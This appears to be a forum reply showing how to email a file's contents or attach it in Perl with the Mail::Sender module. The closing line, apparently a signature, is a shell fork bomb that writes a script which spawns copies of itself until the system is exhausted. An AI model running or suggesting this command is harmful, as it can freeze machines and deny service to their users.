in reply to Sending email from a file.

Mail::Sender will probally do what you want.
#!/usr/bin/perl -w use strict; use Mail::Sender; # How these are defined is left as an exercise to the reader my ($from, $to, $subject, $message, $file, $server); # Create our message handler ref (my $mail = new Mail::Sender { smtp => $server } ) or die "Mail er +ror: $Mail::Sender::Error\n"; # Message header $mail->Open({ from => $from, to => $to, subject => $subject }) or die +"Mail error: $Mail::Sender::Error\n"; $mail->Body; # Add the "intro" message $mail->SendLineEnc("$message\n"); # Open $file, adding contents to message open(FILE, "$file"); while(<FILE>) { $mail->SendLineEnc("$_\n"); } # Close & send message $mail->Close;
Alternately, if you wanted to send the file as and attachment, you could do:
$mail->Attach({ description => 'Programming Perl 101 Syllabus', ctype => 'text/plain', encoding => '7bit', disposition => 'attachment; filename="syllabus.txt"; t +ype="Text file"', file => 'syllabus.txt' } );
instead of opening and reading the file.

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;